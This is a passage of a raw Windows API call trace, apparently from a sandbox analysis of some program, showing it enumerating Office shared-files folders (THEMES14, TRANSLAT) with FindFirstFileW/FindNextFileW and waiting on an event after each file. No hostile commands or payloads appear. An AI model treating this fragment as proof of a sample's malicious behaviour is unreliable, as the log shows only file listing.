dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0268.964] ResetEvent (hEvent=0xe0) returned 1 [0268.964] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0269.092] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0269.092] ResetEvent (hEvent=0xe0) returned 1 [0269.092] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0269.118] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0269.118] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0269.119] GetProcessHeap () returned 0x550000 [0269.119] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0269.119] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0269.119] GetProcessHeap () returned 0x550000 [0269.119] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0269.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0269.119] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.119] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0269.119] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0269.119] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0269.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0269.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0269.120] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0269.120] GetProcessHeap () returned 0x550000 [0269.120] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0269.120] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0269.120] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0269.120] GetProcessHeap () returned 0x550000 [0269.120] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0269.120] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0269.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0269.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0269.122] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0269.122] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0269.122] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0269.122] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0269.122] GetProcessHeap () returned 0x550000 [0269.122] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0269.122] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0269.122] GetProcessHeap () returned 0x550000 [0269.122] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0269.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0269.122] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.122] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0269.123] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0269.123] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0269.123] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0269.123] ResetEvent (hEvent=0xe0) returned 1 [0269.123] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0269.142] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0269.142] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0269.143] GetProcessHeap () returned 0x550000 [0269.143] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0269.143] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0269.143] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0269.143] GetProcessHeap () returned 0x550000 [0269.143] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0269.143] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0269.143] GetProcessHeap () returned 0x550000 [0269.143] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0269.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0269.144] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.145] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0269.145] GetProcessHeap () returned 0x550000 [0269.145] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0269.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0269.145] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.145] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0269.145] ResetEvent (hEvent=0xe0) returned 1 [0269.146] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0269.151] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0269.151] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0269.151] GetProcessHeap () returned 0x550000 [0269.151] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0269.151] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0269.151] GetProcessHeap () returned 0x550000 [0269.151] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0269.151] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0269.152] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.152] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0269.152] ResetEvent (hEvent=0xe0) returned 1 [0269.152] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0269.154] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0269.154] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0269.154] GetProcessHeap () returned 0x550000 [0269.154] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0269.154] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, 